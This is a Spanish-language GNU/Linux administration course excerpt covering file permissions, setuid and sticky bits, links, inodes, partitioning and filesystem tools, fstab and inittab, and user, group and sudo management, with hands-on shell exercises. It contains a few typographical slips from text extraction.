Existen tres tipos de permisos en archivos, cada uno denotado por una letra. Un permiso
representa una acción que se le puede hacer a un archivo

Read r leer la data almacenada en el archivo.


Write w escribir en archivo,borrar o sobreescribir.
Execute x ejecutar el contenido del archivo(programa).

Permisos en directorios
los permisos de r,w,x también tienen significado sobre los directorios. El significado
para los directorios es un poco diferente:
Read r Echar un vistazo en el directorio.
Write w Crear, borrar o renombrar archivos dentro del directorio.

Diplomado de GNU/Linux
101
Fundación Código Libre Dominicano
http://www.codigolibre.org

Execute x Cambiar, entrar o usar el directorio.

Los permisos de lectura y ejecución en un directorio es deseable que se usen en


conjunto.

La sintaxis para usar chmod con texto:


chmod [ugo][+-][rwx] [nombre_archivo]
Donde [u=user, g=group y o=other]; [+/- activa o desactiva los atributos siguientes]
[r=read, w=write, x=execute]

Crea un archivo vacío.


[deivy@deivy ~]$ touch prueba.txt

Verifica los los permisos del archivo.


[deivy@deivy ~]$ ls -l prueba.txt

Verifica los permisos del mismo archivo.


[deivy@deivy ~]$ stat prueba.txt

Cambia los permisos del archivo que solo pueda ser leído no modificable ni ejecutable
por el usuario grupo o otros.
[deivy@deivy ~]$ chmod 444 prueba.txt

Trata de modificar el archivo.


[deivy@deivy ~]$ cat > prueba.txt

Agrégale permiso de escritura al usuario en el archivo.


[deivy@deivy ~]$ chmod u+w prueba.txt

Ahora modifica el archivo prueba.txt.


[deivy@deivy ~]$ cat > prueba.txt

#!/bin/bash
clear
N=0
while [ $N -lt 10 ]
do
sleep 1
let N=N+1
echo $N
done
exit0

Una vez este modificado el archivo prueba.txt visualiza su contenido.


[deivy@deivy ~]$ cat prueba.txt

Quita el permiso de lectura al archivo prueba.txt.


[deivy@deivy ~]$ chmod u-r prueba.txt

Diplomado de GNU/Linux
102
Fundación Código Libre Dominicano
http://www.codigolibre.org

Verifica a ver si puedes visualizar el contenido del archivo.


[deivy@deivy ~]$ cat > prueba.txt

Ejecuta el archivo con ./


[deivy@deivy ~]$ ./prueba.txt

Debido a que el resultado anterior el cual fue negativo, ahora asignale permiso de
ejecución.
[deivy@deivy ~]$ chmod +x prueba.txt

Ejecuta nuevamente el archivo con ./


[deivy@deivy ~]$ ./prueba.txt

chown permite cambiar el propietario del archivo en sistemas tipo UNIX. Puede
especificarse tanto el nombre de un usuario, así como un número de identidad de usuario
(UID) y el nombre de grupo o (GID) numérico del grupo. Opcionalmente, utilizando un
signo de dos puntos (:), o bien un punto (.), sin espacios entre ellos, entonces se
cambia el usuario y grupo al que pertenece cada archivo.

Crea un directorio llamado dir1.


[deivy@deivy ~]$ mkdir dir1

Verifica el propietario de este directorio.


[deivy@deivy ~]$ stat dir1

Cambia el propietario del directorio a root.


[deivy@deivy ~]$ su -c "chown root dir1" <Para Red Hat>
[deivy@deivy ~]$ sudo chown root dir1 <Debian>

Verifica que todo a salido con éxito.


[deivy@deivy ~]$ stat dir1

Debido a que este directorio es propiedad de root usted no tiene permisos suficientes,
por lo que utilizaremos su -c o sudo dependiendo su entorno de trabajo. Luego de haber
realizado el ejercicio anterior crea un subdirectorio llamado dir2.
[deivy@deivy ~]$ su -c mkdir dir1/dir2
[deivy@deivy ~]$ su -c mkdir dir1/dir2

Cambiemos el propietario de forma recursiva del directorio principal así como del
subdirectorio.
[deivy@deivy ~]$ su -c "chown -R estudiantes dir1" <Para Red Hat>
[deivy@deivy ~]$ sudo chown -R estudiantes dir1 <Debian>

Dentro del sub-directorio, crea un archivo llamado test.txt


[deivy@deivy ~]$ touch dir1/dir2/test.txt

Cambia el propietario y el grupo del archivo test.txt a root.


[deivy@deivy ~]$ su -c "chown -R root:root " dir1/dir2/test.txt <Para Red Hat>

Diplomado de GNU/Linux
103
Fundación Código Libre Dominicano
http://www.codigolibre.org

[deivy@deivy ~]$ sudo chown -R root:root dir1/dir2/test.txt <Debian>

Comprueba se a realizado todo bien.


[deivy@deivy ~]$ stat dir1/dir2/test.txt

chgrp permite cambiar el grupo a un archivo o directorio, el usuario root te permite


cambiar cualquier grupo a un archivo, los demás usuario solo pueden hacerlo con los
archivos propios y grupos a los que pertenezca.

Crea un archivo llamado test2.txt.


[deivy@deivy ~]$ touch test2.txt

Verifica el grupo a que pertenece el archivo test2.txt.


[deivy@deivy ~]$ stat test2.txt

Verifica que el grupo audio exista.


[deivy@deivy ~]$ grep -i audio /etc/group

Cambia el grupo del archivo test2.txt al grupo audio.


[deivy@deivy ~]$ su -c "chgrp audio test2.txt" <Para Red Hat>
[deivy@deivy ~]$ sudo chgrp audio test2.txt <Debian>

Verifica que todo a salido con éxito.


[deivy@deivy ~]$ stat test2.txt

Crea varios archivos dentro del directorio dir2.


[deivy@deivy ~]$ cd dir1/dir2; touch arch1 arch2 arch3; cd

Verifica su estadística para ver a que grupo pertenecen los archivos creados.
[deivy@deivy ~]$ stat dir1/dir2/arch*

Cambia el grupo de cada unos de estos archivos.


[deivy@deivy ~]$ su -c "chgrp audio /dir1/dir2/*" <Para Red Hat>
[deivy@deivy ~]$ sudo chgrp audio /dir1/dir2/* <Debian>

1.4 Sticky bit, SUID y SGID


Setuid y Setgid
Cada proceso tiene un (R)UID, (R)GID, EUID, y EGUID. Cada archivo tiene un UID y un GID
owner.
El comando 'chmod 4000' pone el bit setuid . Esto hace que el proceso que ejecuta este
comando temporalmente cambie su EUID tomando el valor UID del archivo. Es decir el
proceso sufre un cambio de personalidad y se convierte en la persona que figura como
propietaria de ese archivo. Para ello lógicamente ese archivo deberá ser un ejecutable,
por ejemplo el comando passwd sirve para cambiar la clave. Se trata de un comando
propiedad de root con setuid. Por lo tanto mientras estamos ejecutando este comando
adoptamos la personalidad de 'root'. Gracias a ello se nos permite acceder a la clave
para modificarla y gracias a que ese comando no permite hacer nada más que eso se evita
que este proceso con personalidad de 'root' pueda hacer otras cosas.

Diplomado de GNU/Linux
104
Fundación Código Libre Dominicano
http://www.codigolibre.org

Sticky
El comando 'chmod 1000' pone el bit sticky. Se usa poco y tenía más utilidad en
sistemas Unix más antiguos. Sirve para que el proceso permanezca en memoria RAM todo el
rato mientras se esté ejecutando. Normalmente cuando muchos procesos usan la memoria
RAM se van turnando en su uso y se descargan a disco para ceder su espacio en memoria
RAM a otros procesos. Con el uso de este bit se evita la descarga a disco. Es una forma
de aumentar la velocidad de ese proceso.
En los sistemas operativos modernos de hoy el sticky-bit encendido en un directorio
significa que solo el dueño del archivo tiene derecho a borrarlo
Directorios públicos con permisos de escritura (w) deben tener el sticky-bit encendido
ya que de otra manera todos pueden borrar archivos aunque no sean de ellos. Al encender
el bit solamente los dueños podrán borrar sus archivos.

Ej:
[root@gnome2 /]#ls -la /tmp
total 80
drwxrwxrwt 6 root root 20480 jul 20 22:29 .
drwxr-xr-x 6 root root 4096 jul 20 22:28 ..
-rw------- 1 gnome2 ged2 264 jul 20 22:20 .gdmfujrEI
srw-rw-rw- 1 root root 0 jul 20 22:20 .gdm_socket
drwxrwxrwt 2 root root 4096 jul 20 22:21 .ICE-unix

[sahirys@gnome2~]$rm -rf /tmp/.ICE-unix/


rm: no se puede borrar el directorio “/tmp/.ICE-unix”: Operación no permitida

Aunque el directorio/tmp esta “drwxrwxrwt” con todos los permisos el sticky-bit “t” no
solo permite que el dueño “root” borre los archivos.

1.5 Links duros y simbólicos


Enlaces simbólicos (symbolic links). Son archivos que contiene un puntero a otro
archivo que podría perfectamente estar en un sistema de archivos distinto. Enlaces
rígidos (hard links). Realmente es un único archivo que puede ser visto con distintos
nombres dentro de un mismo sistema de archivos. Es decir se pueden observar como si
fueran archivos idénticos con el mismo inodo. La información reside en un mismo lugar y
lo que ocurra aparentemente en un sitio ocurrirá instantáneamente en el otro lugar. Los
enlaces de este tipo no pueden ocurrir entre sistemas de archivos distintos. No todos
los sistemas de archivos soportan hard links ya que es un concepto muy ligado a los SO
tipo Unix.

El manejo de ambos tipos de enlaces se hace con el comando 'ln'. La creación de un


enlace rígido y uno simbólico es muy similar. La diferencia es que para el enlace
simbólico tendremos que usar la opción -s.

Crea un archivo llamado enlace.txt, de la salida de /etc/passwd.


[deivy@deivy ~]$ cat /etc/passwd > enlace.txt

Creamos un enlace duro del archivo enlace.txt llamado enlace.ln.


[deivy@deivy ~]$ ln enlace.txt enlace.ln

Creemos otro archivo llamado enlace2.txt.

Diplomado de GNU/Linux
105
Fundación Código Libre Dominicano
http://www.codigolibre.org

[deivy@deivy ~]$ cat /etc/group > enlace2.txt

Creamos un enlace suave del archivo enlace2.txt llamado enlace2.ln.


[deivy@deivy ~]$ ln -s enlace2.txt enlace2.ln

1.6 Inodos
Un inodo es una clave numérica para el acceso al sistema plano de archivos donde cada
punto capaz de recibir o entregar información, tiene una única clave. Por eso los
distintos enlaces rígidos contienen el mismo valor de inodo. Lo de recibir o entregar
información se traduce en chorros de bytes producidos en operaciones de lectura
escritura pero estas funciones pese a manejarse siempre igual realizan cosas muy
distintas dependiendo del tipo de archivo. Un archivo regular es un almacén de
información. Otros tipos de archivos no son meros contenedores de bytes. Por ejemplo
los dispositivos especiales de bloques o de caracteres pueden verse como emisores y
receptores de bloques o caracteres respectivamente asociados a un dispositivo. Tampoco
son meros contenedores de bytes los sockets, enlaces simbólicos, fifos con nombre, etc.
Salvo los directorios, todos son capaces de recoger chorros de bytes o de entregar
chorros de bytes o ambas cosas a la vez y lo más importante, todos ellos tienen
asociado un inodo y al menos un nombre de archivo colgando de alguna parte del sistema
de archivos.

1.7 Comandos fdisk, mke2fs, cfdisk, fsck


fdisk
El comando fdisk es usado para crear, borrar y cambiar particiones en un disco.

[root@sarys ~]# fdisk /dev/hda

fdisk lee comandos a través del manejo de menú pulsando una letra por el usuario. Fdisk
despliega el siguiente menú:

1.Digite m para un listado de los comandos


2.Use p para mostrar las particiones que existen actualmente.
3.Use q para salir sin alterar nada.
4.Use w para escribir sus cambios

El procedimiento para usar fdisk es el siguiente:


1. Cree una partición nueva con el comando n
2. Elija si va a ser una partición primaria, extendida o lógica
3. Elija el número que se le va a asignar
4. El fdisk le preguntara donde poner el principio y el final de la partición
5. El tamaño por defecto crea una partición con todo el espacio disponible
6. El tamaño deseado puede ser especificado en mega-bytes, Ej., + 250M
7. Cambios a la tabla de particiones solo se escriben cuando ejecutas el comando w

cfdisk
Es un programa basado en curses, para particionar el disco duro.

mkfs
El comando mkfs inicializa un sistema de archivos en una partición nueva. Una
importante advertencia al usar mkfs al igual que el fdisk es que toda data en la

Diplomado de GNU/Linux
106
Fundación Código Libre Dominicano
http://www.codigolibre.org

partición se perderá.

Ej:
para crear un sistema de archivos ext2 en /dev/hda2:
[root@sarys ~]# mkfs -t ext2 -c /dev/h da2

La -t fija el tipo de sistema de archivos a crear, y la -c revisa si el disco tiene


bloques defectuosos. El comando mkfs utiliza otros programas para hacer tipos
específicos de sistemas de archivos, como lo son mke2fs y mkdosfs.

fsck
Los archivos almacenados en una partición de un disco son organizados en un sistema de
archivos. Existen varios tipos de sistemas de archivos; los comúnmente disponible en
GNU/Linux son los llamados ext y su versión actual disponible es el ext3.
Un sistema de archivos contiene un número fijo de inodos. Un inodo es la estructura de
data que describe un archivo en un disco. Esta contiene la información del archivo,
incluyendo su tipo (archivo/directorio/dispositivo), fechas de modificación, permisos,
etc. El nombre de un archivo se refiere a un inodo, no directamente al archivo. Esto
permite hard links: muchos nombres de archivos refiriéndose a un mismo inodo.
Al pasar el tiempo, sistemas de archivos pueden desarrollar problemas. Se pueden
llenar, causar que programas individuales o sistemas enteros fracasen. Se pueden
corromper, tal vez por una falla eléctrica o si el sistema se cuelgue. Se pueden acabar
los inodos, y si esto sucede no se podrá crear ni archivos y directorios nuevos.
Algunas veces sistemas de archivos se corrompen, tal vez hubo una falla eléctrica ó la
versión de su kernel tiene algún bug.

El programa fsck revisa la integridad del sistema y puede lograr las reparaciones
necesarias para que este continué funcionando como es debido.

El utilitario actualmente tiene dos partes principales:


1. Un drive program o interfaces de nombre fsck , el cual maneja cualquier sistema de
archivos.
2. Un ‘backend program’ o programas de soporte para cada tipo de sistema de archivos.
El ‘backend program’ para ext2 es fsck.ext2 , pero siempre es invocado desde el fsck .

El comando fsck es normalmente ejecutado durante el inicio del sistema. Así es que se
ejecuta automáticamente si el sistema se apagó incorrectamente. También puede ser
ejecutado manualmente de la siguiente forma:
[root@gnome~]# fsck /dev/sdb3

Este interactivamente pregunta si deseas reparar los problemas a medida los encuentra.
Use la opción -f para forzar la revisión del sistema de archivos, aunque fsck crea que
fue desmontado limpiamente. Use la opción -y para automáticamente responder ‘yes’ a
todas las preguntas. No es muy buena idea ejecutar fsck sobre un sistema de archivos
montado.

1.8 Sistema de archivos distribuidos (DFS)


Un sistema de archivos distribuido almacena archivos en uno o más computadores
denominados servidores y los hace accesibles a otros computadores denominados clientes,
donde se manipulan como si fueran locales. Existen muchas ventajas en el uso de
servidores de archivos: Los archivos están más accesibles si desde varios computadores

Diplomado de GNU/Linux
107
Fundación Código Libre Dominicano
http://www.codigolibre.org

se puede acceder a los servidores y compartir los archivos de una única localización es
más sencillo que distribuir copias de los archivos a todos los clientes. Las copias de
respaldo y la seguridad son más fáciles de manejar cuando sólo hay que tener en cuenta
a los servidores. Los servidores pueden ofrecer un gran espacio de almacenamiento que
sería costoso y poco práctico suministrar a cada cliente. La utilidad de un sistema de
archivos distribuido se ve claramente cuando se considera a un grupo de empleados que
tienen que compartir documentos. Por ejemplo, para compartir programas también es un
buen candidato. En ambos casos, la administración del sistema se simplifica.

Sistemas de Archivos Distribuidos basados en Linux son utilizados para centralizar la


administración de discos y proveer la facilidad de compartir archivos transparentemente
en la red. Paquetes de Linux que proveen Dfs casi siempre incluyen el cliente y el
server. Un servidor DFS comparte archivos locales en la red; un cliente DFS monta
archivos compartidos localmente. Un sistema Linux puede ser tanto un cliente, un
server, o ambos dependiendo en cual comando fue ejecutado.

1.9 /etc/fstab /etc/mtab /etc/inittab


inittab
El archivo /etc/inittab contiene la descripción general del proceso de arranque del
sistema. Al terminar de cargarse el kernel, se llama al programa /sbin/init, que es el
proceso padre de todos los demás procesos existentes en el sistema. init sigue las
instrucciones incluidas en inittab para llevar al sistema a un estado usable,
creando los procesos descritos en este archivo.
Un runlevel (o nivel de ejecución) es una configuración por software del sistema que
permite existir sólo a un grupo seleccionado de procesos. El sistema (por medio de
init) está en cada momento en un runlevel concreto. El super usuario puede cambiar el
runlevel en cualquier momento ejecutando telinit. Si efectúa cambios al archivo inittab
no es necesario para que los cambios surjan efectos, sólo deberá ejecutar el siguiente
comando:

[root@gnome2 ~]#init q

o también

[root@gnome2 ~]#telinit q

Estos comandos le ordenan a init que lea su archivo de configuración sin cambiar de
runlevel. El comando telinit es un vínculo a init en las mayoría de distros de
GNU/Linux de hoy día. Hay ocho runlevels, llamados 0, 1, 2, 3, 4, 5, 6 y S. El runlevel
0 se usa para parar el sistema, el 6 para reiniciarlo y el S o el 1 para ponerlo en
modo monousuario. Los demás niveles se utilizan para proporcionar determinado grado de
servicios. Por ejemplo, es normal usar un nivel para el uso normal, otro para el
arranque automático de XWindow,
otro para uso sin red, etc.

Cada línea del archivo esta dividida en cuatros campos separados por dos puntos:

ID Identificador único de la línea hasta 4 caracteres alfanuméricos.


Nivel Runlevel que activa este proceso indicado mas adelante
Acción Palabra clave de cómo correr el proceso
Proceso Nombre completo y parámetros del comando para ejecutar

Diplomado de GNU/Linux
108
Fundación Código Libre Dominicano
http://www.codigolibre.org

En la siguiente tabla se incluyen las palabras claves principales de acción del archivo
inittab.

Off No ejecute este comando


Wait Ejecute este comando y espere que complete
Once Ejecute este comando y no espere
Respawn Ejecute este comando; y si falla, ejecútelo de nuevo
Sysinit Ejecute el comando durante el primer init
Boot Ejecutar el comando al tiempo de arranque y no espere
Bootwait Como el Boot pero espere que complete
Ctrlaltdel Ejecute el comando especificado al presionar estas teclas
initdefault Define nivel de arranque por defecto

Al iniciarse, init busca la línea initdefault en el archivo inittab para pasar al nivel
por defecto.
Ej;

1:2345:respawn:/sbin/getty 38400 tty1


Esta línea indica que en los niveles de ejecución 2,3,4 ó 5 debe ejecutarse el programa
/sbin/getty (que es el programa que se encarga de pedir el login y el password a los
usuarios) con los parámetros 38400 (que indica que espere comunicaciones a 38400
baudios), y tty1 (que indica que escuche en la primera terminal virtual). La palabra
clave respawn indica que este proceso debe reiniciarse cuando termine, de forma que
cuando un usuario salga del sistema, se vuelva a mostrar el prompt de login para
aceptar otro usuario.

Hay que manejar con cuidado el archivo inittab, ya que una modificación indebida del
mismo puede dejar al sistema en un estado incapaz de arrancar.

fstab
En la mayoría de sistemas existen otras particiones además de la raíz que son
necesarias se monten en el arranque. Estas serán especificadas en el archivo /etc/fstab
que contiene todas las informaciones que conciernen el montaje de sus particiones.

#device Direct type options frecuence passe


/dev/sda / reiserfs defaults 1 1
/dev/sda3 /home ext3 defaults 1 2
/dev/sdb1 /boot reiserfs defaults 1 2
tmpfs /dev/shm tmpfs defaults 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
sysfs /sys sysfs defaults 0 0
proc /proc proc defaults 0 0
LABEL=SWAP-sda2 swap swap defaults 0 0

Device Nombre de la partición. En el caso de la Swap es el nombre del archivo.


Direct Directorio de montaje de la partición.
Type Tipo de la partición (sistema de archivo).
Options Opciones (solo lectura, lectura y escritura, etc...).
Frecuence
Corresponde al numero de días entre dos tratamientos del archivo por la orden dump.

Diplomado de GNU/Linux
109
Fundación Código Libre Dominicano
http://www.codigolibre.org

Passe
Orden de test de las particiones(fsck).
Si se pone 0 la verificación no se hace al arrancar. Las particiones en un disco se
verifican de forma secuencial, si están en discos diferente se realiza de forma
paralela.

mtab
El archivo mtab contiene los valores descritos en el archivo ftab para los discos
montados actualmente en el sistema.

/dev/sda5 / reiserfs rw 0 0
proc /proc proc rw 0 0
sysfs /sys sysfs rw 0 0
devpts /dev/pts devpts rw,gid=5,mode=620 0 0
/dev/sda3 /home ext3 rw 0 0
/dev/sda1 /boot reiserfs rw 0 0
tmpfs /dev/shm tmpfs rw 0 0
none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0
/dev/sdb1 /media/SAHIRYS vfat rw,nosuid,nodev,uhelper=hal,shortname=lower,uid=500 0 0

1.10 Practica Administración Capitulo 1

2.0 Administración de Usuarios


El control de los usuarios y grupos es un elemento clave en la administración de
sistemas de GNU/ Linux. Los Usuarios pueden ser gente real, es decir, cuentas ligadas a
un ser humano, o cuentas que existen para ser usadas por algún software en específico.

2.1 Usuarios y Grupos

Los grupos son conjunto de usuarios (mayormente con abstracción común), que le
permiten al administrador tener un control mas fácil y eficiente.

Cada usuario tiene un identificador único UID, y un identificador de grupo


respectivamente.

2.2 Cuenta root


Existe un usuario superior a todos llamado root, este usuario tiene control total sobre
el sistema y debe de existir en todo sistema GNU algo destacable de el es que su UID es
siempre 0.

2.3 Comando su
Hay momentos en que puede ser necesario procesar uno o dos comandos como otro usuario.
Es normal que los gestores de sistema tengan este tipo de demanda - ellos (como todos
los buenos gestores de sistemas) usan su cuenta personal, sin privilegios especiales,
la mayor parte del tiempo. Pero, si una contraseña de usuario necesita ser alterada, o
los permisos de un determinado archivo deben ser ajustados, es posible, que no lo
puedas hacer, con una simple cuenta de usuario. Estas tareas no llevan más de un
minuto, y puede ser un tanto aburrido tener que estar entrando y saliendo, en el

Diplomado de GNU/Linux
110
Fundación Código Libre Dominicano
http://www.codigolibre.org

sistema diversas veces, solamente para ejecutar pequeñas tareas como super usuario. Una
salida más sencilla consiste en la utilización del comando su. Con este comando, la
sesión actual puede transformarse en la sesión del super usuario o otro usuario. El
comando su sin argumentos por defecto es para cambiar al super usuario, pero es posible
indicarle a que usuario queremos cambiar.

Cambiemos a super usuario


[sahirys@sarys ~]su -
password:
[root@sarys ~]

Si no ponemos el símbolo de menos (su -) entonces solo estaríamos “disfrazándonos” de


ese usuario. Esto sucede porque no cargaría las variables de ambiente del nuevo usuario
por tanto las tareas que podríamos hacer en el seria limitada.

[sahirys@sarys ~]$su oracle


[oracle@sarys sahirys]$

2.4 Paquete sudo


Sudo es una herramienta de sistema que permite a los usuarios realizar la ejecución de
mandatos como super usuario u otro usuario de acuerdo a como se especifique en el
archivo /etc/sudoers, donde se determina quien está autorizado. Los números de
identidad de usuario y de grupo (UID y GID) reales y efectivas se establecen para
igualar a aquellas del usuario objetivo como esté especificado en el archivo
/etc/passwd.
De modo predeterminado sudo requiere que los usuarios se autentiquen así mismos con su
propia clave de acceso (nunca la clave de acceso de root ). Una vez que el usuario
se ha autenticado, el usuario podrá utilizar nuevamente sudo sin necesidad de volver a
autenticarse durante 5 minutos, salvo que se especifique lo contrario en el archivo
/etc/sudoers. Si el usuario ejecuta el mandato sudo -v podrá refrescar éste periodo
de tiempo sin necesidad de tener que ejecutar un mandato, en cuyo caso contrario
expirará esta autenticación y será necesario volver a realizarla.
Si un usuario no listado en el archivo /etc/sudoers. trata de ejecutar un mandato a
través de sudo, se registra la actividad en la bitácora de sistema (a través de
syslogd) y se envía un mensaje de correo electrónico al administrador del sistema
(root).

Este paquete consta de las siguientes partes básicas:

sudo: El comando propiamente dicho.


sudoers: El archivo de configuración del mismo.
visudo: Una aplicación que utiliza nuestro editor de texto por defecto, para que
podamos editar el archivo sudoers, y que verifica la integridad del archivo al momento
de guardar cambios.

Opciones básicas del comando sudo:


-l Lista algo de información sobre el estatus de un usuario en el archivo
sudoers
-b Ejecuta un comando dado en segundo plano
-u permite a sudo correr un dado comando con otro usuario que no sea root

Diplomado de GNU/Linux
111
Fundación Código Libre Dominicano
http://www.codigolibre.org

sudoers
Este archivo el la parte fundamental, para trabajar con lo que es sudo. Aquí debemos de
considerar dos partes importantes:

* Definición de alias
* Reglas de acceso

2.5 El archivo /etc/passwd


Los usuarios y grupos son almacenados en un conjunto de archivos los cuales son y
constan de la siguiente estructura:

/etc/passwd es el archivo que almacena cada usuario en el sistema consta de 7 columnas


divididas por dos puntos (:) de la siguiente manera:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

Descripción de los campos en /etc/passwd son 7 campos

1 – usuario
2 - clave -----> /etc/shadow
3 - ID usuario
4 - ID grupo
5 - nombre del usuario
6 - directorio home
7 - shell que usara el usuario

2.6 Creando un usuario


useradd
A la hora de agregar un usuario hay unas configuraciones por defecto que están por
sentadas, estas configuraciones se encuentra en el archivo /etc/default/useradd.
Archivo que contiene características por defecto que se aplican a un usuario al momento
de ser creado.
Una manera de ver cual es la configuración por defecto es el comando "useradd -D". Con
el podemos ver esta información y claro, si modificamos el archivo, al momento de
ejecutar nuevamente el comando "useradd -D" la información sera distinta.

ver la configuración por defecto de los usuarios [ver /etc/default/useradd]


root@zxlaptop:~# useradd -D

crear usuario(sin home)


root@zxlaptop:~# useradd usuario

crear usuario(con home)


root@zxlaptop:~# useradd -m usuario

Crear usuario con fecha de expiración


root@zxlaptop:~# useradd -e AAAA-MM-DD usuario

Diplomado de GNU/Linux
112
Fundación Código Libre Dominicano
http://www.codigolibre.org

crear usuario con un shell en especifico


root@zxlaptop:~# useradd -s /bin/ksh usuario

adduser
Es un enlace simbólico a useradd.

userdel
Utilizado para borrar una cuenta de usuario y archivos relativos.

Eliminar usuario
root@zxlaptop:~# userdel usuario

Eliminar usuario con home


root@zxlaptop:~# userdel -r usuario

usermod
Útil para modificar cuentas de usuario.

Bloquear una cuenta


root@zxlaptop:~# usermod -L user

Desbloquear una cuenta


root@zxlaptop:~# usermod -U user

Bloquear una cuenta


root@zxlaptop:~# passwd -l user1

Desbloquear una cuenta


root@zxlaptop:~# passwd -u user1

Cambiar el shell
root@zxlaptop:~# usermod -s /bin/ksh user

Cambiar el Login Name


root@zxlaptop:~# usermod -l nuevo_user viejo_user

Cambiar el UID de un usuario(el signo de # significa el numero de ID que pondrá)


root@zxlaptop:~# usermod -u # usuario

Fecha de expiración para Usuario


root@zxlaptop:~# usermod -e 2010-08-01 user

Fecha de expiración para Usuario


pediría que cambie de clave cada 45 días con advertencia 15 días antes
root@zxlaptop:~# chage -M 45 -W 15 usuario

Cambiar el nombre(nombre de la persona) de un usuario. Presionas la tecla [ENTER] y te


pide la información
root@zxlaptop:~# chfn usuario

Cambiar el shell de un user. Presionas la tecla [ENTER] y te pide la información

Diplomado de GNU/Linux
113
Fundación Código Libre Dominicano
http://www.codigolibre.org

root@zxlaptop:~# chsh usuario

Cambiar Home y Mover Archivos


root@zxlaptop:~# usermod -md /home/nuevo-dir user

Cambiar el grupo default de un user


root@zxlaptop:~# usermod -g nuevogrupo user

Agregar un user a un grupo


root@zxlaptop:~# usermod -aG grupo user

Agregar un user a varios grupos


root@zxlaptop:~# usermod -G grupo,grupo,grupo user

Eliminar a un usuario de 1 grupo o varios


root@zxlaptop:~# usermod -G grupo user
nota: solo se queda en el que menciono, se borra de los demás

2.7 Creando, cambiando e identificando un grupo


groupadd
Permite crear un nuevo grupo.

Agregar un grupo
root@zxlaptop:~# groupadd grupo1

Agregar un grupo forzado(aun si existe)


root@zxlaptop:~# groupadd -f grupo1

Agregar un grupo con un GID especifico (el signo de # significa el numero de ID que
pondrá)
root@zxlaptop:~# groupadd -g # grupo2

groupdel
Nos permite eliminar una cuenta de grupo.
root@zxlaptop:~# groupdel grupo2

groupmod
Nos permite modificar características de un grupo.

Cambiar el nombre del grupo


root@zxlaptop:~# groupmod -n grupo_nuevo grupo_viejo

Cambiar el ID del grupo(el signo de # significa el numero de ID que pondrá)


root@zxlaptop:~# groupmod -g # grupo

groups
Nos muestra los grupos a los que un usuario pertenece.

Estos comandos darían salidas distintas.


root@zxlaptop:~# groups
root@zxlaptop:~# groups alex

Diplomado de GNU/Linux
114
Fundación Código Libre Dominicano
http://www.codigolibre.org

root@zxlaptop:~# groups root

Hay que tomar en cuenta que al igual que el comando passwd tiene su archivo de
configuración, el comando groups también lo tiene.
/etc/group
Archivo que contiene los grupos del sistema, un usuario debe pertenecer a un grupo, por
lo menos.

Descripción de los campos en /etc/group


1 - nombre de grupo
2 - clave -----> /etc/gshadow
3 - ID del grupo
4 - Miembros del grupo separados por coma(,)

Crea un grupo identificado como group1.


[root@deivy ~]# groupadd group1

Comprueba que se haya realizado con éxito.


[root@deivy ~]# grep -i group1 /etc/group

Ponle un password al grupo que acabas de crear.


[root@deivy ~]# gpasswd group1

Cambia el GID del grupo.


[root@deivy ~]# groupmod -g 655 group1

Verifica el GID del grupo.


[root@deivy ~]# grep -i group1 /etc/group

Borra el grupo creado.


[root@deivy ~]# groupdel group1

2.8 Comando finger


El comando finger muestra el nombre de acceso del usuario, el nombre real, el nombre
del terminal y el estado de escritura (como un "*" después del nombre de terminal si el
permiso de escritura está denegado), el tiempo parado, la hora de acceso, la
localización de la oficina y el teléfono de la oficina.
Ej.
Para mostrar la información del usuario estudiantes.
[root@deivy ~]# finger estudiantes

Muestra la información del usuario estudiantes.

2.9 Archivos personales en /home


Es el directorio personal de cada usuario de donde cuelgan todos los archivos
personales de cada usuario. Además se encuentran los archivos de configuración de
ambiente como .bashrc y .bash_profile.

~/.bash_profile
El segundo en orden en ser leído por bash. Normalmente poco se mete en este archivo, lo

Diplomado de GNU/Linux
115
Fundación Código Libre Dominicano
http://www.codigolibre.org

mas importante es que indica a bash que lea otros archivos como ~/.bash_login,
~/.profile, ~/.bash_logout

El archivo bash_profile es el archivo de personalización del ambiente de ese usuario en


partícula es similar al archivo /etc/profile solo que el profile establece el
comportamiento de todos los usuarios y bash_profile personaliza cada usuario, es decir
los valores de las variables de ambiente de ese usuario. El archivo .bashrc se utiliza
comúnmente para declarar funciones, alias, variables locales a un usuario en
particular.

# /etc/bashrc
# Funciones y alias para todo el sistema
# deben ser colocados en el archivo /etc/profile
# Variables locales a este usuario se ponen aquí
# Un Prompt PS1 Personalizado
PS1=”\u@\h:\w\\$”
alias lsa = “ls -aF –color|more”
alias ll =”ls -l”
alias cls=”clear”

~/.bash_login
Normalmente el tercero en ser leído, si existe indica los comandos que correrán al
momento de logearse, normalmente, son cosas como indicar la fecha, el nº de usuarios
conectados...

~/.profile
Equivalente a /etc/profile pero especifico de cada usuario, este archivo es leído por
mas shells, aparte de bash. Puede ser leído por shells nologin si estas arrancan con la
invocación a sh.

~/.bash_logout
Archivo con opciones para el momento del cierre de un login shell, lo mas habitual es
que se incluya el comando clear y nada mas.

2.10 /etc/skel
Es un directorio que contiene archivos de configuración básica para cada usuario, todo
archivo existente en este directorio sera copiado automáticamente al agregar un usuario
con directorio home.

2.11 /etc/profile
Es el archivo que contiene las configuraciones globales para todos los shells
interactivos, puede existir un archivo bash_profile en el home de cada usuario el cual
reconfigurara toda la configuración hecha por /etc/profile pero solo para ese usuario.

Es el primero archivo en leerse automáticamente por bash cuando este es invocado en


modo login (P.e. las ttys).
En este archivo se configuran muchas de las variables de bash (PATH, USER, MAIL,
HOSTNAME ...) y otros valores como umask. Resumiendo, en él se incluyen variables
generales del sistema.
Pero como este archivo es leído por muchas shells, no solo bash, es mejor poner las

Diplomado de GNU/Linux
116
Fundación Código Libre Dominicano
http://www.codigolibre.org

configuraciones de esta en otros archivos específicos.

2.12 Variables de usuario


Una variable es un pequeño pedazo de memoria que se reservará para determinada función
y a la que se le va a asignar un valor, el cual podrá ser: un número, una ruta de
directorios..., etc.) que podrá ser leído, consultado o incluso modificado.

Tenemos tres tipos de variables:


Variables de entorno, que forman parte del entorno o ambiente del sistema.
Variables incorporadas, que las proporciona el sistema y no pueden ser modificadas
con un programa o el shell.
Variables de usuario, las cuales sí se pueden modificar por la shell. Un ejemplo de
variable es PATH, que los que en alguna ocasión hayan usado el MS-DOS o el FreeDos ya
conocerán, la cual define las rutas que deben ser "miradas" por la shell para buscar
órdenes o ejecutables más fácilmente evitando el tener que teclear complejas vías de
acceso.

